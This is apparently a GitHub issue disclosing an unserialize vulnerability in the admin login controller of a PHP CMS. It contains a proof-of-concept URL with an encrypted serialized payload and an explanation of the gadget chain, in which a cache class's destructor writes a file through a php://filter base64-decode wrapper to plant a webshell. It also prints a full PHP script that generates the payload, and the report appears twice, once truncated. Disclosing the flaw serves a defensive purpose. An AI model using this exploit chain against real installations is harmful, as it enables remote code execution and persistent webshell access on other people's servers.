Closed wa1ki0g closed 1 year ago
The update method in the login controller of the admin module calls the decode method and calls unserialize in the decode function
poc : http://127.0.0.1/6.0/admin.php?c=login&f=update&fid=../index&fcode=admin&quickcode=58829ePB5y9JHXx0HotnsRZhdCR1WoNpocd8lMSm%2B%2Fc5YiLMceyyWFBb95LcKF24oT%2B6SeZMFV1SnhqoRxAi3V%2FJeAERciPEF7wUEkby5RK1jTHWgzGomAH6KElUmhcSef3p1nyVlekvH5pvXygHrtJSgJD9LNQW4yTw8S9kKPL7qu0jvXeiimo1PYdH1t15zgGt8G0g%2BzI1rCzZbBn5sYs8CdTGc1IHVhTE3d%2FR8%2Bvt%2B7ooBT7T7HhT9Mf67QE8VzLt6WIrUG3Ytv9FuA5enC0QPzXn3AbkUyE1pPk6JIAD54OuN7hCba48CP7bbuc4Q%2Fa4r%2FgLY
http://127.0.0.1/6.0/admin.php?c=login&f=update&fid=../index&fcode=admin&quickcode=58829ePB5y9JHXx0HotnsRZhdCR1WoNpocd8lMSm%2B%2Fc5YiLMceyyWFBb95LcKF24oT%2B6SeZMFV1SnhqoRxAi3V%2FJeAERciPEF7wUEkby5RK1jTHWgzGomAH6KElUmhcSef3p1nyVlekvH5pvXygHrtJSgJD9LNQW4yTw8S9kKPL7qu0jvXeiimo1PYdH1t15zgGt8G0g%2BzI1rCzZbBn5sYs8CdTGc1IHVhTE3d%2FR8%2Bvt%2B7ooBT7T7HhT9Mf67QE8VzLt6WIrUG3Ytv9FuA5enC0QPzXn3AbkUyE1pPk6JIAD54OuN7hCba48CP7bbuc4Q%2Fa4r%2FgLY
analyze:
For this payload, we can use the cache class, whose __destruct method calls the save method, and the save method can write to the webshell:
The exit here can be bypassed through the pseudo-protocol of php:
php file successfully written and executed:
When executing the following file to generate an attack chain, put index.php in the same directory `<?php
class token_lib { private $keyid = ''; private $keyc_length = 6; private $keya; private $keyb; private $time; private $expiry = 3600; private $encode_type = 'api_code'; //仅支持 api_code 和 public_key private $public_key = ''; private $private_key = '';
public function __construct() { $this->time = time(); } public function etype($type="") { if($type && in_array($type,array('api_code','public_key'))){ $this->encode_type = $type; } return $this->encode_type; } public function public_key($key='') { if($key){ $this->public_key = $key; } return $this->public_key; } public function private_key($key='') { if($key){ $this->private_key = $key; } return $this->private_key; } /** * 自定义密钥 * @参数 $keyid 密钥内容 **/ public function keyid($keyid='') { if(!$keyid){ return $this->keyid; } $this->keyid = strtolower(md5($keyid)); $this->config(); return $this->keyid; } private function config() { if(!$this->keyid){ return false; } $this->keya = md5(substr($this->keyid, 0, 16)); $this->keyb = md5(substr($this->keyid, 16, 16)); } /** * 设置超时 * @参数 $time 超时时间,单位是秒 **/ public function expiry($time=0) { if($time && $time > 0){ $this->expiry = $time; } return $this->expiry; } /** * 加密数据 * @参数 $string 要加密的数据,数组或字符 **/ public function encode($string) { if($this->encode_type == 'public_key'){ return $this->encode_rsa($string); } if(!$this->keyid){ return false; } $string = serialize($string); $expiry_time = $this->expiry ? $this->expiry : 365*24*3600; $string = sprintf('%010d',($expiry_time + $this->time)).substr(md5($string.$this->keyb), 0, 16).$string; $keyc = substr(md5(microtime().rand(1000,9999)), -$this->keyc_length); $cryptkey = $this->keya.md5($this->keya.$keyc); $rs = $this->core($string,$cryptkey); return $keyc.str_replace('=', '', base64_encode($rs)); } /** * 基于公钥加密 **/ private function encode_rsa($string) { if(!$this->public_key){ return false; } $string = serialize($string); $crypto = ''; $tlist = str_split($string,117); foreach($tlist as $key=>$value){ openssl_public_encrypt($value,$data,$this->public_key); $crypto .= $data; } return base64_encode($crypto); } /** * 解密 * @参数 $string 要解密的字串 **/ public function decode($string) { if($this->encode_type == 'public_key'){ return $this->decode_rsa($string); } if(!$this->keyid){ return false; } $string = str_replace(' ','+',$string); $keyc = substr($string, 0, $this->keyc_length); $string = base64_decode(substr($string, $this->keyc_length)); $cryptkey = $this->keya.md5($this->keya.$keyc); $rs = $this->core($string,$cryptkey); $chkb = substr(md5(substr($rs,26).$this->keyb),0,16); if((substr($rs, 0, 10) - $this->time > 0) && substr($rs, 10, 16) == $chkb){ $info = substr($rs, 26); return unserialize($info); } return false; } /** * 基于私钥解密 **/ public function decode_rsa($string) { if(!$this->private_key){ return false; } $crypto = ''; $tlist = str_split(base64_decode($string),128); foreach($tlist as $key=>$value){ openssl_private_decrypt($value,$data,$this->private_key); $crypto .= $data; } if($crypto){ return unserialize($crypto); } return false; } private function core($string,$cryptkey) { $key_length = strlen($cryptkey); $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); // 产生密匙簿 for($i = 0; $i <= 255; $i++){ $rndkey[$i] = ord($cryptkey[$i % $key_length]); } // 用固定的算法,打乱密匙簿,增加随机性,好像很复杂,实际上并不会增加密文的强度 for($j = $i = 0; $i < 256; $i++){ $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } // 核心加解密部分 for($a = $j = $i = 0; $i < $string_length; $i++){ $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } return $result; }
}
class file_lib { public $read_count; private $safecode = "<?php die('forbidden'); ?>\n"; public function __construct() { $this->read_count = 0; }
/** * 远程获取内容,这里直接调用html类来执行 * @参数 $url 网址 * @参数 $post 要提交的post数据 **/ public function remote($url,$post='') { return $GLOBALS['app']->lib('html')->get_content($url,$post); } /** * 读取数据 * @参数 $file 要读取的文件,支持远程文件 * @参数 $length 文件长度,为空表示读取全部,仅限本地文件有效 * @参数 $filter 是否过滤安全字符,默认为true,不过滤请传参false,仅限本地文件有效 * @返回 false 或 文件内容 **/ public function cat($file="",$length=0,$filter=true) { if(!$file){ return false; } if(strpos($file,"://") !== false && strpos($file,'file://') === false){ return $this->remote($file); } if(!file_exists($file)){ return false; } $this->read_count++; if($length && is_numeric($length)){ $maxlength = $length; if($filter){ $maxlength = $length + strlen($this->safecode); } $fp = fopen($file,'rb'); if(!$fp){ return false; } $content = fread($fp,$maxlength); fclose($fp); }else{ $content = file_get_contents($file); } if(!$content){ return false; } if($filter || (is_bool($length) && $length)){ $content = str_replace($this->safecode,'',$content); } return $content; } /** * 保存数据 * @参数 $content 要保存的内容,支持字符串,数组,多维数组等 * @参数 $file 保存的文件地址 * @参数 $var 仅限$content为数组,此项不为空时使用 * @参数 $type 写入方式,默认为wb,清零写入 * @返回 true/false **/ public function vi($content='',$file='',$var="",$type="wb") { if(!$content || !$file){ return false; } $this->make($file,"file"); if(is_array($content) && $var){ $content = $this->__array($content,$var); $safecode = 'if(!defined("PHPOK_SET")){exit("<h1>Access Denied</h1>");}'; $content = "<?php\n".$safecode."\n".$content."\n//-----end"; }else{ if(strtolower($type) == 'wb' || strtolower($type) == 'w'){ $content = $this->safecode.$content; } } $this->_write($content,$file,$type); return true; } /** * 存储php等源码文件,不会写入安全保护 * @参数 $content 要保存的内容 * @参数 $file 保存的地址 * @参数 $type 写入模式,wb 表示完全写入,ab 表示追加写入 **/ public function vim($content,$file,$type="wb") { $this->make($file,"file"); return $this->_write($content,$file,$type); } /** * 保存数据别名,不改写任何东西 * @参数 $content 要保存的内容 * @参数 $file 保存的地址 * @参数 $type 写入模式,wb 表示完全写入,ab 表示追加写入 **/ public function save($content,$file,$type='wb') { return $this->vim($content,$file,$type); } /** * 存储图片,内容不进行stripslashes处理 * @参数 $content 要保存的内容 * @参数 $file 要保存的文件 * @返回 * @更新时间 **/ public function save_pic($content,$file) { $this->make($file,"file"); $handle = $this->_open($file,"wb"); fwrite($handle,$content); unset($content); $this->_close($handle); return true; } /** * 删除操作,请一定要小心,在程序中最好严格一些,不然有可能将整个目录删掉 * @参数 $del 要删除的文件或文件夹 * @参数 $type 仅支持file和folder,为file时仅删除$del文件,如果$del为文件夹,表示删除其下面的文件。为folder时,表示删除$del这个文件,如果为文件夹,表示删除此文件夹及子项 * @返回 true/false **/ public function rm($del,$type="file") { if(!file_exists($del)){ return false; } if(is_file($del)){ unlink($del); return true; } $array = $this->_dir_list($del); if(!$array){ if($type == 'folder'){ rmdir($del); } return true; } foreach($array as $key=>$value){ if(file_exists($value)){ if(is_dir($value)){ $this->rm($value,$type); }else{ unlink($value); } } } if($type == "folder"){ rmdir($del); } return true; } /** * 创建文件或目录 * @参数 $file 文件或目录 * @参数 $type 默认是dir,表示创建目录 * @返回 true **/ public function make($file,$type="dir") { $newfile = $file; $msg = ""; if(defined("ROOT")){ $root_strlen = strlen(ROOT); if(substr($file,0,$root_strlen) == ROOT){ $newfile = substr($file,$root_strlen); } $msg = ROOT;//从根目录记算起是否有文件写入 } $array = explode("/",$newfile); $count = count($array); if($type == "dir"){ for($i=0;$i<$count;$i++){ $msg .= $array[$i]; if(!file_exists($msg) && ($array[$i])){ mkdir($msg,0777); } $msg .= "/"; } }else{ for($i=0;$i<($count-1);$i++){ $msg .= $array[$i]; if(!file_exists($msg) && ($array[$i])){ mkdir($msg,0777); } $msg .= "/"; } if(!file_exists($file)){ @touch($file);//创建文件 } } return true; } /** * 复制操作 * @参数 $old 旧文件(夹) * @参数 $new 新文件(夹) * @参数 $recover 是否覆盖 * @返回 false/true **/ public function cp($old,$new,$recover=true) { if(!file_exists($old)){ return false; } if(is_file($old)){ //如果目标是文件夹 if(substr($new,-1) == '/'){ $this->make($new,'dir'); $basename = basename($old); if(file_exists($new.$basename) && !$recover){ return false; } copy($old,$new.$basename); return true; } if(file_exists($new) && !$recover){ return false; } copy($old,$new); return true; } $basename = basename($old); $this->make($new.$basename,'dir'); $dlist = $this->ls($old); if($dlist && count($dlist)>0){ foreach($dlist as $key=>$value){ $this->cp($value,$new.$basename.'/',$recover); } } return true; } /** * 文件移动操作 * @参数 $old 旧文件(夹) * @参数 $new 新文件(夹) * @参数 $recover 是否覆盖 * @返回 false/true **/ public function mv($old,$new,$recover=true) { if(!file_exists($old)){ return false; } if(substr($new,-1) == "/"){ $this->make($new,"dir"); }else{ $this->make($new,"file"); } if(file_exists($new)){ if($recover){ unlink($new); }else{ return false; } }else{ $new = $new.basename($old); } rename($old,$new); return true; } /** * 获取文件夹列表 * @参数 $folder 获取指定文件夹下的列表(仅一层深度) * @返回 数组 **/ public function ls($folder) { $this->read_count++; $list = $this->_dir_list($folder); if(is_array($list)){ sort($list,SORT_STRING); } return $list; } /** * 获取文件夹及子文件夹等多层文件列表(无限级,长度受系统限制) * @参数 $folder 文件夹 * @参数 $list 引用变量 **/ public function deep_ls($folder,&$list) { $this->read_count++; $tmplist = $this->_dir_list($folder); if($tmplist){ foreach($tmplist as $key=>$value){ if(is_dir($value)){ $this->deep_ls($value,$list); }else{ $list[] = $value; } } } } /** * 取得文件夹下的列表 * @参数 $file 文件(夹) * @参数 $type 仅支持folder或file,为file,直接返回$file本身 * @返回 $file或数组 **/ private function _dir_list($file,$type="folder") { if(substr($file,-1) == "/"){ $file = substr($file,0,-1); } if(!file_exists($file)){ return false; } if($type == "file" || is_file($file)){ return $file; }else{ $handle = opendir($file); $array = array(); while(false !== ($myfile = readdir($handle))){ if($myfile != "." && $myfile != ".." && $myfile != ".svn") $array[] = $file."/".$myfile; } closedir($handle); return $array; } } /** * 数组转成字符串 * @参数 $array 要转的数组的 * @参数 $var 传递的变量 * @参数 $content 内容 * @返回 * @更新时间 **/ private function __array($array,$var,$content="") { foreach($array AS $key=>$value){ if(is_array($value)){ $content .= $this->__array($value,"".$var."[\"".$key."\"]"); }else{ $old_str = array('"',"<?php","?>","\r"); $new_str = array("'","<?php","?>",""); $value = str_replace($old_str,$new_str,$value); $content .= "\$".$var."[\"".$key."\"] = \"".$value."\";\n"; } } return $content; } /** * 打开文件 * @参数 $file 打开的文件 * @参数 $type 打开类型,默认是wb **/ private function _open($file,$type="wb") { $handle = fopen($file,$type); $this->read_count++; return $handle; } /** * 写入信息 * @参数 $content 内容 * @参数 $file 要写入的文件 * @参数 $type 打开方式 * @返回 true **/ private function _write($content,$file,$type="wb") { if($content){ $content = stripslashes($content); } $handle = $this->_open($file,$type); fwrite($handle,$content); unset($content); $this->_close($handle); return true; } /** * 关闭句柄 * @参数 $handle 句柄 **/ private function _close($handle) { return fclose($handle); } /** * 附件下载 * @参数 $file 要下载的文件地址 * @参数 $title 下载后的文件名 **/ public function download($file,$title='') { if(!$file){ return false; } if(!file_exists($file)){ return false; } $ext = pathinfo($file,PATHINFO_EXTENSION); $filesize = filesize($file); if(!$title){ $title = basename($file); }else{ $title = str_replace('.'.$ext,'',$title); $title.= '.'.$ext; } ob_end_clean(); set_time_limit(0); header("Content-type: applicatoin/octet-stream"); header("Date: ".gmdate("D, d M Y H:i:s",time())." GMT"); header("Last-Modified: ".gmdate("D, d M Y H:i:s",time())." GMT"); header("Content-Encoding: none"); header("Content-Disposition: attachment; filename=".rawurlencode($title)."; filename*=utf-8''".rawurlencode($title)); header("Accept-Ranges: bytes"); $range = 0; $size2 = $filesize -1; if (isset ($_SERVER['HTTP_RANGE'])) { list ($a, $range) = explode("=", $_SERVER['HTTP_RANGE']); $new_length = $size2 - $range; header("HTTP/1.1 206 Partial Content"); header("Content-Length: ".$new_length); //输入总长 header("Content-Range: bytes ".$range."-".$size2."/".$filesize); } else { header("Content-Range: bytes 0-".$size2."/".$filesize); //Content-Range: bytes 0-4988927/4988928 header("Content-Length: ".$filesize); } $read_buffer=4096; $sum_buffer = 0; $handle = fopen($file, "rb"); fseek($handle, $range); ob_start(); while (!feof($handle) && $sum_buffer<$filesize) { echo fread($handle,$read_buffer); $sum_buffer+=$read_buffer; ob_flush(); flush(); } ob_end_clean(); fclose($handle); }
class cache{ protected $key_id='www'; protected $key_list='aaPD9waHAgcGhwaW5mbygpOz8+"'; protected $folder='php://filter/write=convert.base64-decode/resource=../../../../../../../Applications/MxSrvs/www/a';
$token = new token_lib(); $file = new file_lib(); $token->keyid($file->cat("./index.php"));
echo $token->encode(new cache());
`
The update method in the login controller of the admin module calls the decode method and calls unserialize in the decode function
poc :
http://127.0.0.1/6.0/admin.php?c=login&f=update&fid=../index&fcode=admin&quickcode=58829ePB5y9JHXx0HotnsRZhdCR1WoNpocd8lMSm%2B%2Fc5YiLMceyyWFBb95LcKF24oT%2B6SeZMFV1SnhqoRxAi3V%2FJeAERciPEF7wUEkby5RK1jTHWgzGomAH6KElUmhcSef3p1nyVlekvH5pvXygHrtJSgJD9LNQW4yTw8S9kKPL7qu0jvXeiimo1PYdH1t15zgGt8G0g%2BzI1rCzZbBn5sYs8CdTGc1IHVhTE3d%2FR8%2Bvt%2B7ooBT7T7HhT9Mf67QE8VzLt6WIrUG3Ytv9FuA5enC0QPzXn3AbkUyE1pPk6JIAD54OuN7hCba48CP7bbuc4Q%2Fa4r%2FgLY
analyze:
For this payload, we can use the cache class, whose __destruct method calls the save method, and the save method can write to the webshell:
The exit here can be bypassed through the pseudo-protocol of php:
php file successfully written and executed:
When executing the following file to generate an attack chain, put index.php in the same directory `<?php
class token_lib { private $keyid = ''; private $keyc_length = 6; private $keya; private $keyb; private $time; private $expiry = 3600; private $encode_type = 'api_code'; //仅支持 api_code 和 public_key private $public_key = ''; private $private_key = '';
}
class file_lib { public $read_count; private $safecode = "<?php die('forbidden'); ?>\n"; public function __construct() { $this->read_count = 0; }
}
class cache{ protected $key_id='www'; protected $key_list='aaPD9waHAgcGhwaW5mbygpOz8+"'; protected $folder='php://filter/write=convert.base64-decode/resource=../../../../../../../Applications/MxSrvs/www/a';
}
$token = new token_lib(); $file = new file_lib(); $token->keyid($file->cat("./index.php"));
echo $token->encode(new cache());
`